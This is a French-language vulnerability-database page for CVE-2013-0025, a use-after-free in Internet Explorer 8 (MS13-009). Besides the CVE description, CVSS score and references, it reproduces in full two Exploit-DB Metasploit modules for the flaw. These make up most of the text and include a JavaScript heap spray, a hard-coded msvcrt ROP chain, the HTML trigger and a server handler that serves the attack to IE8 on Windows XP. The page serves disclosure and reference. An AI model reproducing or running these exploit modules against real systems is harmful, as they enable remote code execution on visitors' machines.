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Descriptions du CVE
Use-after-free vulnerability in Microsoft Internet Explorer 8 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to a deleted object, aka "Internet Explorer SLayoutRun Use After Free Vulnerability."
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 24495
Date de publication : 2013-02-13 23h00 +00:00
Auteur : Scott Bell
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer SLayoutRun Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
where a CParaElement node is released but a reference is still kept
in CDoc. This memory is reused when a CDoc relayout is performed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Bell <scott.bell@security-assessment.com>', # Vulnerability discovery & Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0025' ],
[ 'MSB', 'MS13-009' ],
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ],
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 1024,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 13 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_nops = [0x77c39f92].pack("V") * 11 # RETN
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
rop_payload << rop_nops
rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
rop_payload << [0x77c39f92].pack("V") # RETN
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
rop_payload << code
end
return rop_payload
end
def this_resource
r = get_resource
return ( r == '/') ? '' : r
end
def get_exploit(my_target, cli)
p = get_payload(my_target, cli)
js = heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
var data
var objArray = new Array(1800);
#{js}
setTimeout(function(){
for (var i=0;i<objArray.length;i++){
objArray[i] = document.createElement('body');
document.body.appendChild(objArray[i])
objArray[i].style.display = "none"
}
document.body.style.whiteSpace = "pre-line"
for(var i=0;i<10;i++){
for (var i=0;i<(objArray.length-650);i++){
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
|
return html
end
def get_iframe
html = %Q|
<html>
<body>
<iframe src="#{this_resource}/#{@iframe_name}" height="1" width="1"></iframe>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
if uri =~ /#{@iframe_name}/
html = get_exploit(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
elsif uri=~ /\/$/
html = get_iframe
print_status "Sending IFRAME..."
end
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@iframe_name = "#{Rex::Text.rand_text_alpha(5)}.html"
super
end
end
Exploit Database EDB-ID : 24538
Date de publication : 2013-02-22 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",
'Description' => %q{
This module exploits a use-after-free vulnerability in Microsoft Internet Explorer
where a CParaElement node is released but a reference is still kept
in CDoc. This memory is reused when a CDoc relayout is performed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0025' ],
[ 'MSB', 'MS13-009' ],
[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'Space' => 920,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]
],
'Privileged' => false,
'DisclosureDate' => "Feb 13 2013",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# ROP chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_nops = [0x77c39f92].pack("V") * 11 # RETN
rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})
rop_payload << rop_nops
rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN
rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN
rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN
rop_payload << [0x77c39f92].pack("V") # RETN
rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset
rop_payload << code
end
return rop_payload
end
def get_exploit(my_target, cli)
p = get_payload(my_target, cli)
js = heap_spray(my_target, p)
html = %Q|
<!doctype html>
<html>
<head>
<script>
#{js}
</script>
<script>
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = get_exploit(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status "Sending HTML..."
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 8
- Microsoft>>Internet_explorer >> Version 8 (Open CPE detail)
Références
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16294
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-009
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
